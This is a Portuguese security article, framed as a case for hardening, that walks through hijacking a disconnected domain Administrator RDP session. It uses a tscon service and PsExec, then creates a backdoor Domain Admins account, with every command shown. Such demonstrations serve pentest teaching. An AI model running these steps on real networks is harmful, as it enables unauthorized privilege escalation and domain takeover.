Neste artigo mostro passo a passo como é importante realizar o hardening nos servidores e nos computadores dos usuários. A ausência de algumas camadas de segurança podem criar oportunidades de ataques onde um usuário pode comprometer a segurança de toda a rede que você administra.
É comum encontrarmos conexões com o status de Disconnected no Task Manager dos Servidores que estamos conectados.
Estou logado com um usuário local admin.local e posso visualizar uma conexão com o status Disconnected do usuário Administrator do domínio.
Execute o Command Prompt como Administrator e digite os comandos :
Exibe o Usuário Logado :
WindowsC:\>whoami win-2008\admin.local
Exibe o Domínio :
WindowsC:\>wmic computersystem get domain Domain 100security.local
Exibe as mesmas sessões apresentadas na aba Users do Task Manager, porém via linha de comando.
Windowsc:\>query user
Precisamos criar um serviço para fazer esta movimentação de conexão a fim de conseguirmos assumir o controle da sessão do usuário Administrador do domínio.
Execute o comando :
Windowsc:\>sc create 100security binpath= "cmd.exe /k tscon 3 /dest:rdp-tcp#0" [SC] CreateService SUCCESS
Após a execução deste comando o serviço 100security é criado permitindo o acesso como Administrator do domínio.
Agora basta iniciar o serviço para assumir a sessão do usuário Administrator.
Windowsc:\>net start 100security
Agora com o acesso de Administrator podemos executar os comandos novamente apenas para validação do acesso.
Observe que o STATUS/STATE do Administrator está como Ativo/Active.
Com o acesso de Administrator é possível controlar o Active Directory.
Criando o usuário pentest.
Windowsc:\>net user pentest P@sswr0d /add /domain
Adicionando o usuário pentest no grupo de Domain Admins.
Windowsc:\>net group "Domain Admins" pentest /add /domain
Logando no Active Directory com o usuário pentest para validar o acesso.
O ponto de atenção aqui é para os usuários que possuem o perfil de Administrador Local, neste exemplo no Windows 10 eu criei um cenário onde o Administrator se conectou remotamente na máquina e não fez o logoff apenas fechou a tela do Terminal Server, isso me permitiu acessar a sessão do Administrator utilizando o PsExec.
Download :PsExec
Observe novamente o Gerenciador de Tarefas onde a conexão do usuário Administrator do domínio esta com o Status de Desconectado.
Observe que ao pressionar o botão direito sobre o usuário Administrator e tentar realizar a conexão é solicitada a senha do usuário.
Senha do usuário Administrator?
Execute o Prompt de Comando como Administrador.
Exibe o Usuário Logado :
Windowsc:\>whoami 100security\marcos
Acesse a pasta PSTools :
Windowsc:\>cd PSTools c:\PStools>
Execute o Task Manager utilizando o ID da Sessão do Usuário Logado via PsExec.
Windowsc:\PStools>PsExec.exe -s \\localhost -i 7 taskmgr
Agora basta repetir o processo de conexão sobre o usuário Administrator.
Acesso realizado na sessão do usuário Administrator com sucesso!